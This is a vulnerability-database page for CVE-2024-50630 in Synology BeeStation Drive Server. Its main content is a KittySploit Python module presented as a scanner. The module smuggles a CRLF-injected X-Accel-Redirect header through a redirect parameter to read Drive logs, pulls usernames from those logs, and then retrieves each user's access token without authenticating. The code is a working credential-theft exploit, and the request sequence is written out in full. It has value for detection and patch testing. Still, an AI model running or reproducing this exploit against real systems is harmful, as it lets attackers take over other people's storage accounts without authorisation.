Synology BeeStation Drive Server - Auth Bypass Token Leak (CVE-2024-50630)
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| The vulnerability of the webapi component of the cloud software for file storage, synchronization, and sharing with Synology Drive Server allows a perpetrator to gain unauthorized access to protected information. | 7 Apr 202500:00 | – | bdu_fstec | |
| CVE-2024-50630 | 19 Mar 202506:52 | – | circl | |
| Synology Drive Server 访问控制错误漏洞 | 19 Mar 202500:00 | – | cnnvd | |
| CVE-2024-50630 | 19 Mar 202505:50 | – | cve | |
| CVE-2024-50630 | 19 Mar 202505:50 | – | cvelist | |
| EUVD-2024-54101 | 3 Oct 202520:07 | – | euvd | |
| Synology Drive Server - Unauth Access Token Leak (CVE-2024-50630) | 10 Aug 202606:19 | – | kittysploit | |
| Synology DSM Drive Server - Auth Bypass Token Leak (CVE-2024-50630) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2024-50630 | 19 Mar 202506:15 | – | nvd | |
| Synology BeeStation (BSM) Multiple Vulnerabilities (Synology_SA_24_21) - Active Check | 19 Dec 202500:00 | – | openvas |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Synology Drive Server unauthenticated access token leak on BeeStation (Synology-SA-24:21)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Synology BeeStation Drive Server - Auth Bypass Token Leak (CVE-2024-50630)',
'description': (
'Synology Drive Server on BeeStation (BSM) allows unauthenticated attackers to read '
'Drive logs via RedirectURI and obtain user access tokens via '
'SYNO.SynologyDrive.Authentication (CVE-2024-50630 / SA-24:21). Also indicates '
'CVE-2024-50631.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2024', 'synology', 'beestation', 'bsm', 'drive',
'auth-bypass', 'exposure', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/admin/http/synology_cve_2024_50630_token_leak'],
},
},
'references': [
'https://www.synology.com/en-global/security/advisory/Synology_SA_24_21',
'https://www.zerodayinitiative.com/advisories/ZDI-25-212/',
'https://nvd.nist.gov/vuln/detail/CVE-2024-50630',
],
'cve': 'CVE-2024-50630',
}
def run(self):
path = '/webapi/entry.cgi'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = (
'api=SYNO.API.Auth.RedirectURI&version=1&method=run&session=finder&redirect_url='
'https://dsfinder.synology.com/dsm/login?\r\n'
'X-Accel-Redirect:/volume1/@synologydrive/log/cloud-workerd.log'
)
r = self.http_request(
method='POST', path=path, data=data, headers=headers, allow_redirects=False,
)
if not r or r.status_code != 200:
return False
body = r.text or ''
log_marker = re.search(
r'^[0-9A-Z:-]+ \([0-9]+:[0-9]+\) \[INFO\].+\.(o|cpp)',
body,
re.MULTILINE,
)
if not (
'checkpoint-task.cpp.o' in body
or 'job-queue-client.cpp.o' in body
or log_marker
):
return False
users = set()
for m in re.finditer(r'"/homes/([^"]+)"', body):
users.add(m.group(1))
for m in re.finditer(r'username:([^\r\n]+)', body):
users.add(m.group(1).strip())
if not users:
return False
tokens = {}
for user in sorted(users):
auth_data = (
'api=SYNO.SynologyDrive.Authentication&method=authenticate&version=1'
f'&username={user}&device_name=kittysploit'
)
ar = self.http_request(
method='POST', path=path, data=auth_data, headers=headers, allow_redirects=False,
)
if not ar or ar.status_code != 200:
continue
tm = re.search(r'"access_token"\s*:\s*"([^"]+)"', ar.text or '')
if tm:
tokens[user] = tm.group(1)
if not tokens:
return False
self.set_info(
severity='critical',
reason=f'Synology BeeStation Drive CVE-2024-50630 token leak ({len(tokens)} user(s))',
path=path,
users=list(tokens.keys()),
)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.5
EPSS0.24558
SSVC